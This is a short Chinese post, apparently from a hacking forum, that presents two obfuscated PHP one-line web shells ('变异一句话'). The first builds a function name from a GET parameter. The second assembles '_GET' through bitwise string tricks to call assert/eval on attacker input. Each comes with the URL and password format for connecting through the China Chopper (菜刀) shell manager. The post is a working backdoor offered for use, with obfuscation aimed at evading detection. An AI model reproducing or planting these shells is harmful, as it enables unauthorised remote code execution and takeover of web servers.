php变异一句话

 第一种：1.php

 <?=($_=@$_GET[2]).@$_($_GET[1])?>

在菜刀里写http://www.xxx.com /1.php?2=assert密码是1

 

第二种2.php

 <?

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写

http://www.xxx.com/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

 

这两种就可以直接用菜刀了。